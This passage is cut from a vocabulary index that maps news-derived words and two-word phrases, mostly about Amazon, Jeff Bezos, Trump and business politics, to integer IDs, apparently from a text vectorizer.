92073, "destruction especially": 92074, "longer term": 92075, "web stone": 92076, "want companies": 92077, "sale amazon": 92078, "stock dropping": 92079, "cuomo revenge": 92080, "courtmartensjd": 92081, "constraints": 92082, "bootnote": 92083, "trade advisor": 92084, "astronauts": 92085, "retailer bids": 92086, "old friend": 92087, "counterpart xi": 92088, "settlement separately": 92089, "skin cream": 92090, "shanghai": 92091, "amazingly convincing": 92092, "timed labor": 92093, "locally increasingly": 92094, "sales hundreds": 92095, "subways": 92096, "pecker apoplexy": 92097, "post op": 92098, "flickr photo": 92099, "obama foreign": 92100, "world better": 92101, "doj watchdog": 92102, "greater risk": 92103, "index shed": 92104, "include permanent": 92105, "pay amazon": 92106, "published alleged": 92107, "extortion allegation": 92108, "certainly engendered": 92109, "tm stock": 92110, "dieter": 92111, "queens women": 92112, "labels based": 92113, "offers security": 92114, "giant disrupting": 92115, "americans retail": 92116, "correspondent retailers": 92117, "amazon drive": 92118, "1729et copyright": 92119, "frankly think": 92120, "increasingly things": 92121, "754 billion": 92122, "neotrope news": 92123, "poisonwood bible": 92124, "muslim minority": 92125, "gorsky boeing": 92126, "health track": 92127, "president lawyers": 92128, "reference": 92129, "doj enforcement": 92130, "zuckerbook": 92131, "hero worship": 92132, "met jeff": 92133, "term vision": 92134, "footprint problem": 92135, "value investing": 92136, "holds 694": 92137, "club new": 92138, "bezos accuses": 92139, "virginia crystal": 92140, "remaking": 92141, "boutique style": 92142, "fundraising": 92143, "amazon lobbyist": 92144, "unfair leg": 92145, "vaxxer": 92146, "global epidemics": 92147, "perigon wealth": 92148, "questions champion": 92149, "wire claimed": 92150, "optimism despite": 92151, "lobbying priorities": 92152, "people looked": 92153, "amazon investigation": 92154, "million shares": 92155, "essentially calling": 92156, "theconclusion": 92157, "case going": 92158, "788": 92159, "active nsa": 92160, "order immigration": 92161, "arlington just": 92162, "newsfile corp": 92163, "various code": 92164, "doctrine": 92165, "partisan distorted": 92166, "mgen": 92167, "trial balloon": 92168, "console proves": 92169, "apiece jack": 92170, "wife ushered": 92171, "esl president": 92172, "clothing trump": 92173, "report suggests": 92174, "microbiology": 92175, "including red": 92176, "princess z\u00e9lie": 92177, "campaign promises": 92178, "level positions": 92179, "spokesman recently": 92180, "text did": 92181, "amazon promotions": 92182, "bezos fortune": 92183, "mile shipments": 92184, "2018 animal": 92185, "180 days": 92186, "sales revenue": 92187, "real change": 92188, "correctly pick": 92189, "notably": 92190, "identify objects": 92191, "doomsday scenario": 92192, "taking migrants": 92193, "downside risks": 92194, "popular social": 92195, "national park": 92196, "damning new": 92197, "commit sexual": 92198, "killed el": 92199, "wszpajivh6": 92200, "talent planting": 92201, "vilified": 92202, "soon amazon": 92203, "bought jim": 92204, "latest posts": 92205, "experts note": 92206, "competition know": 92207, "yield hog": 92208, "usps possibility": 92209, "investment advisor": 92210, "controlled media": 92211, "covers disinformation": 92212, "howard spotted": 92213, "customer base": 92214, "emilian": 92215, "series dedicates": 92216, "blanche policing": 92217, "becker bezos": 92218, "employees rise": 92219, "movie mogul": 92220, "enabled": 92221, "pushed successfully": 92222, "guy page": 92223, "secured": 92224, "bezos believe": 92225, "office directly": 92226, "county national": 92227, "vlachos philadelphia": 92228, "malware": 92229, "theoretically lessening": 92230, "ebay face": 92231, "soil based": 92232, "angelica explores": 92233, "basis subscribe": 92234, "reformed walmart": 92235, "ai investing": 92236, "income griffeth": 92237, "offer unfair": 92238, "deleteuber campaign": 92239, "snowy": 92240, "new documents": 92241, "potential increase": 92242, "took turn": 92243, "commons cc": 92244, "man fights": 92245, "separate package": 92246, "competitive business": 92247, "shutdown crisis": 92248, "studios data": 92249, "nsc": 92250, "amazon fc": 92251, "moon south": 92252, "significant loophole": 92253, "look deal": 92254, "castronovo": 92255, "coast headquarters": 92256, "ear poking": 92257, "sentiment persist": 92258, "semitism": 92259, "host body": 92260, "visual voice": 92261, "seattle bridge": 92262, "topping": 92263, "american policy": 92264, "says needn": 92265, "internet neutrality": 92266, "nvidia beats": 92267, "firm carlyle": 92268, "wasn complicated": 92269, "centralize control": 92270, "mueller mccabe": 92271, "established couriers": 92272, "updated list": 92273, "man allegedly": 92274, "sealed indictments": 92275, "markets argentina": 92276, "empire hotstar": 92277, "far countdown": 92278, "sends hillary": 92279, "post postmaster": 92280, "2017 citigroup": 92281, "painful decision": 92282, "westeros": 92283, "nominee mitt": 92284, "female driven": 92285, "just result": 92286, "world middleeast": 92287, "ultimately washington": 92288, "increasing global": 92289, "cnbc fedex": 92290, "boy born": 92291, "bunk beds": 92292, "pretty cordial": 92293, "ldavison4": 92294, "big easy": 92295, "donnell subpoena": 92296, "reported 300": 92297, "details surrounding": 92298, "officials insisted": 92299, "just demanded": 92300, "trv philip": 92301, "brahmins": 92302, "sellers automatically": 92303, "allegedly recorded": 92304, "season toy": 92305, "stronger protections": 92306, "truly wireless": 92307, "list increased": 92308, "largest company": 92309, "insinuated": 92310, "children clothing": 92311, "amazon kroger": 92312, "provocateurs": 92313, "alleged text": 92314, "sourced quoting": 92315, "suspect danny": 92316, "cities fight": 92317, "government subsidizes": 92318, "tariff form": 92319, "favored equity": 92320, "visitor attempted": 92321, "rights executive": 92322, "devoted fan": 92323, "imbalance": 92324, "companies inside": 92325, "unum jeffrey": 92326, "volkskrant wnf": 92327, "officer kabir": 92328, "hill according": 92329, "scarborough wondered": 92330, "deceptive": 92331, "great people": 92332, "contemporary dance": 92333, "judge challenge": 92334, "ecommerce hell": 92335, "par\u00e1": 92336, "rtamericanews pic": 92337, "s0 a2": 92338, "vaccines cbp": 92339, "endure crushing": 92340, "bahai zen": 92341, "price control": 92342, "food burger": 92343, "anointing new": 92344, "scrutiny yesterday": 92345, "motorcycle dealership": 92346, "mccarthy chosen": 92347, "target budget": 92348, "defensible": 92349, "moving moneys": 92350, "administration doesn": 92351, "short amazon": 92352, "transformational nature": 92353, "amazon help": 92354, "trump actually": 92355, "did ubhi": 92356, "immediately seized": 92357, "brahminical": 92358, "historian long": 92359, "jobs illness": 92360, "current gradual": 92361, "urbanization agricultural": 92362, "poorest places": 92363, "drop": 92364, "recover 295": 92365, "cables perform": 92366, "council explained": 92367, "america fisher": 92368, "confused": 92369, "904bn": 92370, "guns away": 92371, "important teacher": 92372, "f7ce00": 92373, "issues today": 92374, "release benefits": 92375, "hostage negotiator": 92376, "jwn earnings": 92377, "trademark work": 92378, "prime generated": 92379, "fever pitch": 92380, "remi": 92381, "demanding impeachment": 92382, "wearing badge": 92383, "email included": 92384, "potent 2016": 92385, "held hostage": 92386, "gmt amazon": 92387, "just kick": 92388, "comment earlier": 92389, "supplies eligible": 92390, "weekly wnyc": 92391, "videx bundle": 92392, "baby organs": 92393, "luke timmerman": 92394, "enervating washington": 92395, "paychecks trump": 92396, "loyalty finally": 92397, "used lsd": 92398, "matthew levels": 92399, "people republic": 92400, "nonprofits working": 92401, "amazon macdonald": 92402, "effort forces": 92403, "virginia montgomery": 92404, "equalizing": 92405, "erway taste": 92406, "crash minutes": 92407, "parts analysis": 92408, "aldisert": 92409, "industry include": 92410, "mccain flake": 92411, "paularmstrongtech files": 92412, "sanders took": 92413, "skewing": 92414, "bank jefferies": 92415, "health clinic": 92416, "ernst young": 92417, "outlining 2016": 92418, "led ami": 92419, "power sees": 92420, "struggled pizza": 92421, "accurately identified": 92422, "hnjrhzjkml jeff": 92423, "sidewalk": 92424, "dire threat": 92425, "long struggled": 92426, "million paying": 92427, "talks gospel": 92428, "talented silicon": 92429, "fixing": 92430, "exist": 92431, "companies officials": 92432, "null inc_hide_video_prerollflag": 92433, "arab": 92434, "messages political": 92435, "odd equally": 92436, "statements estimates": 92437, "disinvestment": 92438, "upfront": 92439, "garza": 92440, "b0 p7": 92441, "president administration": 92442, "mothership seattle": 92443, "saudiarabia": 92444, "resolved": 92445, "ranks hate": 92446, "affect": 92447, "powerful tool": 92448, "president jim": 92449, "stands ready": 92450, "knocked unconscious": 92451, "court story": 92452, "alleged mistress": 92453, "delivery service": 92454, "upcoming divorce": 92455, "100 deaths": 92456, "protective": 92457, "travel industry": 92458, "discounted pricing": 92459, "different verticals": 92460, "sanchez love": 92461, "new meaning": 92462, "capitulating blackmail": 92463, "increasing concentration": 92464, "collection completed": 92465, "commerce growing": 92466, "empowering employees": 92467, "murder": 92468, "inverts": 92469, "really talking": 92470, "star rami": 92471, "1041865777173823488": 92472, "small iraqi": 92473, "set new": 92474, "cattle trump": 92475, "anti tax": 92476, "fair rates": 92477, "established": 92478, "kirshner christian": 92479, "faced 275": 92480, "pacific seoul": 92481, "powerful did": 92482, "approaches future": 92483, "media hinting": 92484, "grosso": 92485, "new box": 92486, "web pages": 92487, "discredit activist": 92488, "banned related": 92489, "usps president": 92490, "items sacred": 92491, "slice box": 92492, "obama era": 92493, "rewarding long": 92494, "make news": 92495, "posted celebratory": 92496, "various investments": 92497, "global employees": 92498, "procurement policies": 92499, "safer": 92500, "tabloid publication": 92501, "scarborough devoted": 92502, "running office": 92503, "franzia noted": 92504, "customer home": 92505, "hitless": 92506, "southeast florida": 92507, "531 000": 92508, "military medical": 92509, "rao": 92510, "mcmanus": 92511, "employee dropped": 92512, "just bigger": 92513, "magazine grub": 92514, "spare apple": 92515, "credit reduces": 92516, "party takes": 92517, "justice announced": 92518, "partial property": 92519, "plc cl": 92520, "proposed tax": 92521, "carolinas worry": 92522, "interestingly bezos": 92523, "founder vision": 92524, "equity rech": 92525, "000 users": 92526, "candidate 2016": 92527, "companies president": 92528, "conference stunning": 92529, "virginia trump": 92530, "damage nervous": 92531, "spent likewise": 92532, "vast puzzle": 92533, "expect gripping": 92534, "climbed nasdaq": 92535, "unilever": 92536, "smarmed president": 92537, "copy incited": 92538, "trading tonight": 92539, "workers health": 92540, "agency finances": 92541, "bonus amazon": 92542, "beijing sinnet": 92543, "weather el": 92544, "high bartiromo": 92545, "hatted": 92546, "diana stancy": 92547, "straw man": 92548, "limited package": 92549, "spy action": 92550, "plus host": 92551, "national joke": 92552, "manhattan divorce": 92553, "recent filings": 92554, "humming": 92555, "city think": 92556, "concerns assange": 92557, "suspended schiff": 92558, "long itrequires": 92559, "change tax": 92560, "vital homeland": 92561, "anna zeide": 92562, "relations victory": 92563, "significant sea": 92564, "adolf": 92565, "industry lee": 92566, "amazon maurice": 92567, "destroyed thousands": 92568, "unveiled slate": 92569, "feld": 92570, "places capturing": 92571, "opening soon": 92572, "cornillie federal": 92573, "featuring blue": 92574, "repeatedly criticised": 92575, "hopes tech": 92576, "coverage": 92577, "market trump": 92578, "capital times": 92579, "votes tom": 92580, "longer printing": 92581, "haven learned": 92582, "advertising growing": 92583, "certainly looks": 92584, "market analysts": 92585, "nbc photographer": 92586, "reiner": 92587, "following entry": 92588, "political pronouncements": 92589, "underestimates": 92590, "xbox": 92591, "crowdsources": 92592, "consumers especially": 92593, "subsidiaries warren": 92594, "valley russian": 92595, "disastrous consequences": 92596, "seattle residents": 92597, "centers": 92598, "alleged defamation": 92599, "factor hurting": 92600, "10b cloud": 92601, "industrial conglomerate": 92602, "work amazon": 92603, "winning streak": 92604, "patriot ledger": 92605, "really budget": 92606, "criminal trial": 92607, "real teeth": 92608, "0900et": 92609, "amazon hunting": 92610, "zinke special": 92611, "added really": 92612, "niharika mandhana": 92613, "divided crowd": 92614, "booth belonging": 92615, "bolsonaro transferred": 92616, "time apple": 92617, "compensation deductions": 92618, "confidence normally": 92619, "model providing": 92620, "season including": 92621, "schmidt executive": 92622, "angeles russia": 92623, "wreckless driving": 92624, "competitor currently": 92625, "share single": 92626, "influence coverage": 92627, "modern india": 92628, "optimal business": 92629, "marius assumes": 92630, "amazon shared": 92631, "votes particularly": 92632, "bezos absent": 92633, "insignificant": 92634, "belief held": 92635, "charter field": 92636, "star named": 92637, "silicon prairie": 92638, "include crime": 92639, "1993 allowing": 92640, "pix11": 92641, "congress house": 92642, "david": 92643, "entire tech": 92644, "primarily google": 92645, "exercise set": 92646, "require special": 92647, "convenience stores": 92648, "streamlining manufacturing": 92649, "toll physically": 92650, "revenue loss": 92651, "president tweets": 92652, "happy paying": 92653, "paul watson": 92654, "nab": 92655, "quarter results": 92656, "legacy": 92657, "phrase boycottwalmart": 92658, "train price": 92659, "homogenized processed": 92660, "president staff": 92661, "soured": 92662, "product btn": 92663, "latest printout": 92664, "extraordinary lengths": 92665, "floated privately": 92666, "blac": 92667, "popular 80s": 92668, "145 million": 92669, "1st new": 92670, "environment trump": 92671, "palestinian man": 92672, "bezos parody": 92673, "penalized google": 92674, "outpricing": 92675, "impartiality": 92676, "internet connections": 92677, "rival rich": 92678, "fish market": 92679, "dilma rousseff": 92680, "clip": 92681, "institute reported": 92682, "day reportedly": 92683, "avon": 92684, "knew going": 92685, "investigating claim": 92686, "amazon promised": 92687, "tucker picks": 92688, "announces positive": 92689, "trumpdonald john": 92690, "david lesar": 92691, "ike": 92692, "6400": 92693, "michael jackson": 92694, "busiest": 92695, "multiple offers": 92696, "sees high": 92697, "slap tariffs": 92698, "damn train": 92699, "collecting sales": 92700, "daily variety": 92701, "new rivals": 92702, "purposefully depriving": 92703, "sec parsec": 92704, "moving patients": 92705, "right yes": 92706, "debt restructuring": 92707, "brazil environmental": 92708, "eyed": 92709, "antitrust activities": 92710, "hurting": 92711, "stopped pursuing": 92712, "minnesota vikings": 92713, "untouchable ivory": 92714, "steve bannon": 92715, "103 bought": 92716, "lighthizer": 92717, "referred": 92718, "ateurobiz atsopro": 92719, "vignette": 92720, "delivery technology": 92721, "aig aig": 92722, "president began": 92723, "fiat chrysler": 92724, "personality samin": 92725, "just acquired": 92726, "immigration law": 92727, "ricky gervais": 92728, "introducing legislation": 92729, "mail volume": 92730, "pitney": 92731, "stalemate trump": 92732, "bad taste": 92733, "token mode": 92734, "joins justice": 92735, "dyer": 92736, "fed stress": 92737, "sexxages including": 92738, "j8i j8": 92739, "areas repeatedly": 92740, "grocer": 92741, "ordeal": 92742, "basic rights": 92743, "change think": 92744, "pritchard": 92745, "comedian steve": 92746, "sly elegance": 92747, "standard nomenclature": 92748, "l2": 92749, "experimenting reportedly": 92750, "dual entities": 92751, "phones lasers": 92752, "2018 spokesperson": 92753, "tabloid newspaper": 92754, "hall": 92755, "thug": 92756, "catastrophic cambridge": 92757, "judith mcgrath": 92758, "piper": 92759, "photo staff": 92760, "following weeks": 92761, "wealth management": 92762, "behalf wrote": 92763, "denied making": 92764, "trump corrupt": 92765, "low consumer": 92766, "statewide": 92767, "hamilton arkells": 92768, "internet based": 92769, "tv pets": 92770, "empowering ice": 92771, "commission fec": 92772, "company choice": 92773, "market right": 92774, "reignite trump": 92775, "channel sinclair": 92776, "believe governor": 92777, "sibling fred": 92778, "week joked": 92779, "brantley jon": 92780, "company set": 92781, "situated": 92782, "consistently rewarded": 92783, "department indicted": 92784, "pickle writes": 92785, "debacle decade": 92786, "markey edward": 92787, "regarding radical": 92788, "hovers": 92789, "content embedded": 92790, "litigation settlement": 92791, "natural supplements": 92792, "week saw": 92793, "reinterpret legal": 92794, "okeechobee": 92795, "amazon gmg": 92796, "way high": 92797, "reader interactions": 92798, "declaration 2019": 92799, "eqis": 92800, "korea economically": 92801, "sold 600": 92802, "post ironically": 92803, "pregame interview": 92804, "negotiations governor": 92805, "simply suggested": 92806, "upscale italian": 92807, "perez sent": 92808, "share yelp": 92809, "industry leader": 92810, "publish": 92811, "observe": 92812, "collusion dry": 92813, "katz long": 92814, "fractional": 92815, "announcements": 92816, "fits": 92817, "having pretty": 92818, "subsidiaries big": 92819, "extremely valuable": 92820, "2017 inside": 92821, "hit nerve": 92822, "president shirts": 92823, "goodell": 92824, "ojeda read": 92825, "does burn": 92826, "sense fall": 92827, "formidable": 92828, "girlfriend carrie": 92829, "pharmacy startup": 92830, "paradise yesterday": 92831, "abducted girls": 92832, "brutal housing": 92833, "cortez ivanka": 92834, "solicited ideas": 92835, "amancio": 92836, "swerve": 92837, "commons": 92838, "scariest dictators": 92839, "dashboard": 92840, "publication studies": 92841, "journalist chris": 92842, "goods driving": 92843, "presence includes": 92844, "saying wasn": 92845, "nourishment": 92846, "analysts await": 92847, "refer": 92848, "harris experienced": 92849, "responds": 92850, "pjmedia": 92851, "snowing": 92852, "certainly represents": 92853, "edits": 92854, "hierarchies connecting": 92855, "live skit": 92856, "self identified": 92857, "guesswork": 92858, "totally phony": 92859, "air poses": 92860, "son trump": 92861, "showtime": 92862, "q1 a4ee": 92863, "encana shares": 92864, "maximale hypotheek": 92865, "playing bezos": 92866, "smaller indian": 92867, "index distance": 92868, "1204et": 92869, "hardly knows": 92870, "bezos billion": 92871, "additional amazon": 92872, "shares vigilant": 92873, "images jeff": 92874, "vice media": 92875, "durbin visited": 92876, "bashing jeff": 92877, "significant level": 92878, "sales compared": 92879, "senior executive": 92880, "new commerce": 92881, "dr evil": 92882, "levitation": 92883, "deserving government": 92884, "nearly 300": 92885, "seemingly taken": 92886, "baird told": 92887, "consumer pays": 92888, "live wire": 92889, "cass": 92890, "uber sounds": 92891, "magazine innovation": 92892, "rekogntion software": 92893, "_nkw": 92894, "practices share": 92895, "administration reddit": 92896, "baptist health": 92897, "committee meetings": 92898, "marianne gambelli": 92899, "problem involving": 92900, "local bonds": 92901, "john mancini": 92902, "increasing revenue": 92903, "favor detention": 92904, "maker pleads": 92905, "pound winning": 92906, "government secrets": 92907, "easily prompt": 92908, "biden": 92909, "report data": 92910, "fair magazine": 92911, "sit": 92912, "google home": 92913, "syria": 92914, "people walking": 92915, "melania dazzles": 92916, "terminating deferred": 92917, "cannes": 92918, "politician entreaties": 92919, "100 workers": 92920, "took tumble": 92921, "old speaker": 92922, "labor market": 92923, "problem solving": 92924, "realities": 92925, "legislation allocating": 92926, "184": 92927, "riffing": 92928, "oddest": 92929, "stronger ebitd": 92930, "lucky despite": 92931, "endemic": 92932, "job seekers": 92933, "cheap tickets": 92934, "shares halbert": 92935, "service distribution": 92936, "unarmed young": 92937, "trump 2016": 92938, "organised crime": 92939, "vulgar": 92940, "unscripted space": 92941, "trashy tabloids": 92942, "counterattack": 92943, "working vacation": 92944, "called bezos": 92945, "awscloud servers": 92946, "television amc": 92947, "blockbuster ambitions": 92948, "need caption": 92949, "corruption story": 92950, "data sharing": 92951, "deliver epi": 92952, "progressives began": 92953, "months plowing": 92954, "pregnancy related": 92955, "supermarket tabloid": 92956, "correlation": 92957, "hand claims": 92958, "directly": 92959, "old trade": 92960, "vegas strip": 92961, "tweet echoing": 92962, "massive deforestation": 92963, "extraction bureau": 92964, "trump brown": 92965, "positive tweets": 92966, "semi automatic": 92967, "watch buy": 92968, "levels ahead": 92969, "recode net": 92970, "cuomosmta jeff": 92971, "reliance ralph": 92972, "free report": 92973, "long snowy": 92974, "leaders won": 92975, "nj newark": 92976, "battle suffolk": 92977, "cash payments": 92978, "insinuate": 92979, "prove substantially": 92980, "money overseen": 92981, "people mindsets": 92982, "cost production": 92983, "unearned price": 92984, "blocking friends": 92985, "coin": 92986, "help introduce": 92987, "lehrer brian": 92988, "issues regarding": 92989, "picture amazon": 92990, "concrete sending": 92991, "russian hoax": 92992, "investment spending": 92993, "providing safe": 92994, "used misleading": 92995, "experienced gayle": 92996, "passengers": 92997, "commission filings": 92998, "escape colbert": 92999, "feels amazon": 93000, "cult favourite": 93001, "duboff": 93002, "government operative": 93003, "worst impulses": 93004, "agency told": 93005, "walmart spokeswoman": 93006, "implicitly suggested": 93007, "900 employees": 93008, "make far": 93009, "easier data": 93010, "sears kmart": 93011, "amazon results": 93012, "decoratevideoapi function": 93013, "friend caitlin": 93014, "strangeness french": 93015, "moffat played": 93016, "cream suckers": 93017, "allowing political": 93018, "normal traffic": 93019, "released sean": 93020, "rates increased": 93021, "voters need": 93022, "172 ken": 93023, "make ceo": 93024, "paid tl": 93025, "hasn faded": 93026, "2018 variety": 93027, "thy customer": 93028, "power grab": 93029, "sam zell": 93030, "advocate working": 93031, "companies joined": 93032, "ch\u00e1vez used": 93033, "branded pills": 93034, "report indicating": 93035, "double shipping": 93036, "just mile": 93037, "surprise billy": 93038, "illegally selling": 93039, "pledge bezos": 93040, "lionize blofeld": 93041, "including witches": 93042, "record sums": 93043, "clearer path": 93044, "home security": 93045, "aubrey joseph": 93046, "562": 93047, "anticipated devitt": 93048, "assaults": 93049, "chuck": 93050, "watch israel": 93051, "mackenzie allegedly": 93052, "lucrative cloud": 93053, "job right": 93054, "hospital colorado": 93055, "pages imply": 93056, "international politics": 93057, "offer paid": 93058, "blue water": 93059, "emerging competition": 93060, "report questioning": 93061, "bitcoin 789": 93062, "painfully ordinary": 93063, "amazon huge": 93064, "process dominated": 93065, "card rates": 93066, "companies panic": 93067, "purchases amazon": 93068, "murderess": 93069, "bieber book": 93070, "dip says": 93071, "bezos office": 93072, "late 1920s": 93073, "itep noted": 93074, "noble pirro": 93075, "cards online": 93076, "painful outcomes": 93077, "jobs corporations": 93078, "google market": 93079, "grandparents": 93080, "quarter sum": 93081, "advertising revenue": 93082, "redis database": 93083, "initiative plans": 93084, "wakefield dated": 93085, "boring": 93086, "directly cause": 93087, "seasonal pain": 93088, "scathing night": 93089, "media instead": 93090, "trump emphasis": 93091, "media sanders": 93092, "cell reception": 93093, "referendum kosovo": 93094, "atria books": 93095, "purchasing graphic": 93096, "vhi": 93097, "facebook intel": 93098, "pluggable": 93099, "gilt postwar": 93100, "ago introduced": 93101, "operations manager": 93102, "effective individuals": 93103, "lodging complaint": 93104, "small comb": 93105, "mantel wolf": 93106, "promising reimagining": 93107, "putin julie": 93108, "badcustomerexperience": 93109, "bad idea": 93110, "discounter reported": 93111, "brenberg": 93112, "distributed roberts": 93113, "tech juggernauts": 93114, "short netflix": 93115, "shares slipping": 93116, "secrecy requiring": 93117, "mackenzie tuttle": 93118, "morning email": 93119, "kremlin linked": 93120, "mere announcements": 93121, "monopoly comcast": 93122, "amendment defender": 93123, "happy ex": 93124, "shows ac": 93125, "spreading lies": 93126, "hartman speaks": 93127, "nature sortorder": 93128, "401 errors": 93129, "troubled past": 93130, "rejected previous": 93131, "michael shannon": 93132, "btenerellabr bloomberg": 93133, "evidence trump": 93134, "bezos package": 93135, "ministry appointees": 93136, "cia coup": 93137, "scandal surrounding": 93138, "staying": 93139, "linear tv": 93140, "program despite": 93141, "average hourly": 93142, "brashear imagealt": 93143, "crime enforcement": 93144, "french": 93145, "98point6 unique": 93146, "added turning": 93147, "say makes": 93148, "towns cities": 93149, "integration": 93150, "shares tiaa": 93151, "revenue 36m": 93152, "grabbers lay": 93153, "baron took": 93154, "trump approaching": 93155, "award government": 93156, "unit griffeth": 93157, "payments business": 93158, "authority effectively": 93159, "cheeses": 93160, "cheaper fares": 93161, "tlx 3lift": 93162, "main business": 93163, "area spots": 93164, "video stores": 93165, "county jails": 93166, "plateaued saying": 93167, "difficult argument": 93168, "boiling point": 93169, "stealing packages": 93170, "gop candidates": 93171, "talent manager": 93172, "tax officials": 93173, "setting national": 93174, "resnick": 93175, "fbi lawyer": 93176, "controversy california": 93177, "told grist": 93178, "pratchett": 93179, "brewer amazon": 93180, "growing neighborhood": 93181, "real need": 93182, "reports appear": 93183, "designate": 93184, "authorizes": 93185, "penalties charlie": 93186, "lawman trying": 93187, "biofuels": 93188, "abused wife": 93189, "morris": 93190, "effectively amazon": 93191, "wealthy": 93192, "substantial collaboration": 93193, "independent film": 93194, "home super": 93195, "f4e": 93196, "pose threat": 93197, "beltway boy": 93198, "post snippets": 93199, "buffett look": 93200, "corporation believe": 93201, "chinese spy": 93202, "mngmt group": 93203, "losers best": 93204, "news gives": 93205, "graywolf": 93206, "taken concrete": 93207, "gain favor": 93208, "later fell": 93209, "comics reuters": 93210, "won cause": 93211, "data provider": 93212, "near liverpool": 93213, "artificially deflating": 93214, "ongoing syrian": 93215, "articles russia": 93216, "man paying": 93217, "people cumulatively": 93218, "fiddle": 93219, "cinema": 93220, "previously missed": 93221, "schumer replied": 93222, "eye article37861750": 93223, "us16 billion": 93224, "kitschy favorite": 93225, "domes": 93226, "regulations china": 93227, "felix ehrat": 93228, "influencer": 93229, "spreading misinformation": 93230, "area campus": 93231, "published viral": 93232, "movimiento cosecha": 93233, "todd talks": 93234, "tickets cost": 93235, "transmogrified": 93236, "pre globalization": 93237, "cancelling": 93238, "seiu": 93239, "hardship yi": 93240, "vox matthew": 93241, "rhimes": 93242, "insulted trump": 93243, "untouchable": 93244, "school throwback": 93245, "certain formal": 93246, "difficulty": 93247, "globe latest": 93248, "states delaware": 93249, "man greater": 93250, "execs exhibit": 93251, "dem rep": 93252, "angelo gore": 93253, "compensation expense": 93254, "marketplaces single": 93255, "stronger coordination": 93256, "holding press": 93257, "tynio": 93258, "torel worst": 93259, "kleponis": 93260, "home network": 93261, "parent company": 93262, "115bn": 93263, "believe attempted": 93264, "shares panagora": 93265, "producer heather": 93266, "reserved copyright": 93267, "tech behemoth": 93268, "hidden delivery": 93269, "photo olivier": 93270, "watching peteralexander": 93271, "defaulted": 93272, "homes rose": 93273, "obama tobosbunny": 93274, "subsidiaries imdb": 93275, "bembenek": 93276, "mic headquarters": 93277, "budescu managing": 93278, "activists hung": 93279, "warning potus": 93280, "dues": 93281, "swelled": 93282, "recent history": 93283, "helped prompt": 93284, "terminal cancer": 93285, "facebook trump": 93286, "bois": 93287, "reviewing existing": 93288, "man currently": 93289, "need cash": 93290, "facing investigation": 93291, "reform criminal": 93292, "hour day": 93293, "iain banks": 93294, "650px 100vw": 93295, "2019 adjusted": 93296, "spent large": 93297, "service hulu": 93298, "trump target": 93299, "trump proposing": 93300, "day 2017": 93301, "bag 115": 93302, "kym": 93303, "easily beating": 93304, "reported having": 93305, "issues larcker": 93306, "reports cnn": 93307, "justice mueller": 93308, "enquirer dragged": 93309, "visit innovation": 93310, "prompted central": 93311, "rise sharply": 93312, "wildenstein": 93313, "tax evader": 93314, "children buddies": 93315, "client data": 93316, "podcast interview": 93317, "heavy fall": 93318, "jerome powell": 93319, "collins charlie": 93320, "deep divisions": 93321, "including conservative": 93322, "warm temperatures": 93323, "treat click": 93324, "ago": 93325, "thompson tweeted": 93326, "fed don": 93327, "worse perceptions": 93328, "president hawaii": 93329, "cobra": 93330, "died decades": 93331, "broader record": 93332, "political nostalgia": 93333, "news heyes": 93334, "partnership discussions": 93335, "contact michelle": 93336, "million donald": 93337, "senado": 93338, "assistants using": 93339, "important second": 93340, "far superior": 93341, "highlighted roughly": 93342, "scott foreman": 93343, "world away": 93344, "company uk": 93345, "trillion apple": 93346, "zana": 93347, "school administrators": 93348, "implement opportunities": 93349, "million investor": 93350, "m4 n2x": 93351, "canaan mulls": 93352, "powerball": 93353, "garment industry": 93354, "condition astonishingly": 93355, "takingplace malinowski": 93356, "fraction": 93357, "old drone": 93358, "valuable feedback": 93359, "beijing ap": 93360, "repeatedly denouncing": 93361, "londonislovinit": 93362, "half century": 93363, "green card": 93364, "cnn chris": 93365, "start training": 93366, "prank gregobagel": 93367, "big presence": 93368, "assertion": 93369, "amzn national": 93370, "season resulted": 93371, "media makes": 93372, "conditions remain": 93373, "office utilizes": 93374, "team peter": 93375, "vulnerable populations": 93376, "quick perusal": 93377, "sellers facing": 93378, "county republican": 93379, "dangerous celebrity": 93380, "trade griffeth": 93381, "delivery workers": 93382, "argue dominant": 93383, "delivery won": 93384, "warehouse workers": 93385, "longest win": 93386, "benefactors": 93387, "hinges": 93388, "south bell": 93389, "current climate": 93390, "nasdaq aqms": 93391, "conservative jurists": 93392, "broader understanding": 93393, "219": 93394, "obvious reason": 93395, "testing industry": 93396, "isn sitting": 93397, "puzder book": 93398, "apple failed": 93399, "hollywood talent": 93400, "entirely new": 93401, "centre medical": 93402, "games": 93403, "income sum": 93404, "subsidize growth": 93405, "shares engineers": 93406, "140 transportation": 93407, "sparking rumors": 93408, "republican war": 93409, "8687 ssg": 93410, "dwe3mueavh ccoo": 93411, "box": 93412, "activists berated": 93413, "servicesweb": 93414, "20180808 html": 93415, "scheduled visit": 93416, "hypothetical": 93417, "lenert": 93418, "nogales arizona": 93419, "currently structured": 93420, "separated trump": 93421, "relationship sanchez": 93422, "steel coming": 93423, "dc individual": 93424, "companies accusing": 93425, "anniversary decade": 93426, "view uk": 93427, "peoples indigenous": 93428, "quick": 93429, "great help": 93430, "ear": 93431, "compounding effect": 93432, "endto": 93433, "foreign mailers": 93434, "tax strategy": 93435, "181406661": 93436, "customer identity": 93437, "consumer financial": 93438, "expands opioid": 93439, "acostas press": 93440, "presidents desk": 93441, "pick merchandise": 93442, "congress nancy": 93443, "time travel": 93444, "mark claim": 93445, "losses meant": 93446, "tsunami flotus": 93447, "westervelt byline": 93448, "market ge": 93449, "relay": 93450, "4000": 93451, "indict trump": 93452, "unreported": 93453, "don effectively": 93454, "usps biggest": 93455, "lawyer florida": 93456, "wasted": 93457, "water fresh": 93458, "people imaginations": 93459, "american interests": 93460, "american pain": 93461, "target company": 93462, "keaton": 93463, "flogs": 93464, "hope ium": 93465, "ambulance": 93466, "african": 93467, "corp holds": 93468, "divorce settlements": 93469, "jurassic world": 93470, "v9": 93471, "siblings emerge": 93472, "chinese leader": 93473, "resistance": 93474, "officials president": 93475, "touted as\u0430first": 93476, "tommaso boddi": 93477, "wearing white": 93478, "story gold": 93479, "glasses": 93480, "alpine": 93481, "easily wield": 93482, "information based": 93483, "human religious": 93484, "example walmart": 93485, "people view": 93486, "deep seated": 93487, "dangerous emissions": 93488, "nerd glasses": 93489, "buys remember": 93490, "employee affinity": 93491, "mortal peril": 93492, "wide minimum": 93493, "san jose": 93494, "standardized tracking": 93495, "factually incorrect": 93496, "era according": 93497, "constitutional national": 93498, "draper": 93499, "personally met": 93500, "specifically oxycodone": 93501, "horrific": 93502, "estrada": 93503, "suhasini": 93504, "personal story": 93505, "wore trump": 93506, "include trump": 93507, 